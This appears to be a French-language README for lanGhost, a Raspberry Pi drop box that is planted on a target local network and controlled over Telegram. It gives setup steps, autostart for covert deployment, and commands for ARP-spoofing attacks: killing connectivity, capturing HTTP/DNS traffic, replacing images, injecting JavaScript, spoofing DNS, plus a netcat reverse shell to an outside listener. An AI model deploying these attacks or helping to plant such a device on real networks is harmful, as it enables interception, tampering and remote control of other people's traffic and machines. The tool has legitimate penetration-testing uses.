
👻 Un chatbot LAN dropbox contrôlable via Telegram
lanGhost est conçu pour les Raspberry Pi (Raspbian/Kali pour RPi). L'exécuter sur d'autres distributions de bureau pourrait causer des problèmes et pourrait ne pas fonctionner comme prévu.
Vous aurez besoin d'un Raspberry Pi avec Raspbian/Kali fraîchement installé sur la carte SD, car vous ne voulez rien d'autre en arrière-plan.
Démarrez le Pi, obtenez un shell SSH ou connectez un écran et un clavier et entrez ces commandes :
$ sudo apt update && sudo apt install python3 python3-pip
$ git clone https://github.com/xdavidhu/lanGhost
$ cd lanGhost
$ sudo ./setup.py
Veuillez lire les questions/messages pendant l'exécution du script d'installation !
[+] Veuillez entrer le nom de l'interface réseau connectée ou qui sera connectée au réseau local cible. L'interface filaire par défaut est 'eth0', et l'interface sans fil par défaut est 'wlan0' sur la plupart des systèmes, mais vous pouvez la vérifier dans un autre terminal avec la commande 'ifconfig'.
[+] Veuillez créer une clé API Telegram en envoyant un message à @BotFather sur Telegram avec la commande '/newbot'.
Après cela, @BotFather vous demandera de choisir un nom pour votre bot. Cela peut être ce que vous voulez.
Enfin, @BotFather vous demandera un nom d'utilisateur pour votre bot. Vous devez choisir un nom d'utilisateur unique qui se termine par 'bot'. Par exemple : xdavidbot. Notez ce nom d'utilisateur, car plus tard vous devrez le rechercher pour trouver votre bot, sur lequel lanGhost fonctionnera.
Après avoir envoyé le nom d'utilisateur de votre choix à @BotFather, vous recevrez votre clé API.
[+] Maintenant, pour que lanGhost autorise uniquement votre accès, vous devez vous vérifier.
Envoyez le code de vérification ci-dessous AU BOT que vous venez de créer. Recherchez simplement le @username de votre bot (celui que vous avez envoyé à @BotFather) pour le trouver.
[+] Code de vérification à envoyer : ******
[+] Voulez-vous que lanGhost démarre au démarrage ? Cette option est nécessaire si vous utilisez cet appareil comme dropbox, car lorsque vous allez le déposer dans un réseau, vous n'aurez pas la chance de démarrer lanGhost à distance ! (le démarrage automatique fonctionne en ajoutant une nouvelle entrée cron '@reboot')
Utiliser lanGhost sur des réseaux plus grands que /24 n'est pas recommandé car les analyses prendront trop de temps.
lanGhost n'est pas silencieux. Quiconque surveille le trafic peut voir les paquets ARP !
Si vous avez sélectionné yes à l'étape 4/4 (autostart), le Pi est entièrement configuré pour le dépôt. lanGhost devrait démarrer au boot et vous envoyer un message sur Telegram avec le texte : lanGhost started! 👻.
Assurez-vous de l'essayer d'abord dans votre laboratoire et testez si lanGhost répond à vos messages !
Si tout est prêt, connectez-le simplement au réseau cible en branchant le câble Ethernet sur le Pi et en connectant l'alimentation via micro USB, et vous êtes prêt à partir !
(lanGhost peut également fonctionner via WiFi, mais vous devrez d'abord configurer wpa_supplicant pour vous connecter automatiquement au réseau)
/scan - Scan LAN network
/scanip [TARGET-IP] - Scan a specific IP address.
/kill [TARGET-IP] - Stop the target's network connection.
/mitm [TARGET-IP] - Capture HTTP/DNS traffic from target.
/replaceimg [TARGET-IP] - Replace HTTP images requested by target.
/injectjs [TARGET-IP] [JS-FILE-URL] - Inject JavaScript into HTTP pages requested by target.
/spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP] - Spoof DNS records for target.
/attacks - View currently running attacks.
/stop [ATTACK-ID] - Stop a currently running attack.
/restart - Restart lanGhost.
/reversesh [TARGET-IP] [PORT] - Create a netcat reverse shell to target.
/help - Display the help menu.
/ping - Pong.
Vous pouvez lancer une attaque en utilisant l'une de ces commandes : /kill, /mitm, /replaceimg, /injectjs, /spoofdns
Après avoir une ou plusieurs attaques en cours, vous pouvez utiliser la commande /attack pour obtenir une liste contenant les ATTACK-ID.
Pour arrêter une attaque, tapez /stop [ATTACK-ID].
/reversesh établit uniquement une connexion TCP netcat qui n'est pas chiffrée et tout le trafic peut être surveillé ! Utilisez-le uniquement pour des correctifs d'urgence ou pour configurer une connexion inverse chiffrée si nécessaire.
La commande /reversesh permet d'obtenir un reverse shell sur le Pi lorsqu'il n'est pas accessible depuis l'extérieur.
Pour utiliser la commande /reversesh, vous aurez besoin d'un serveur à l'écoute pour le shell.
Commande Netcat pour démarrer l'écouteur sur votre serveur :
$ nc -l 0.0.0.0 [PORT]
Commande Telegram :
/reversesh [IP-of-your-listening-server] [PORT]
/kill - Arrête la connectivité Internet pour la cible./mitm - Capture le trafic HTTP et DNS de la cible et l'envoie dans des messages texte./replaceimg - Remplace les images HTTP de la cible par l'image que vous envoyez au bot./injectjs - Injecte du JavaScript dans chaque réponse HTML HTTP de la cible. Vous devez héberger le fichier JS sur votre serveur et donner l'URL en paramètre./spoofdns - Usurpe les réponses DNS pour la cible.Toutes les attaques utilisent l'usurpation ARP !
/scan - Analyse le réseau local et retourne les hôtes en ligne. Utilise l'analyse nmap -sn pour découvrir les hôtes./scanip - Analyse une adresse IP pour les ports ouverts et d'autres informations. Utilise l'analyse nmap -sS.Vous recevrez un message à chaque fois qu'un nouvel appareil se connecte/se déconnecte du réseau.
Copyright (c) 2018 par David Schütz. Certains droits réservés.
lanGhost est sous les termes de la licence MIT, suivant toutes les clarifications énoncées dans le fichier de licence. Vous pouvez également m'envoyer un e-mail à xdavid{at}protonmail{dot}com.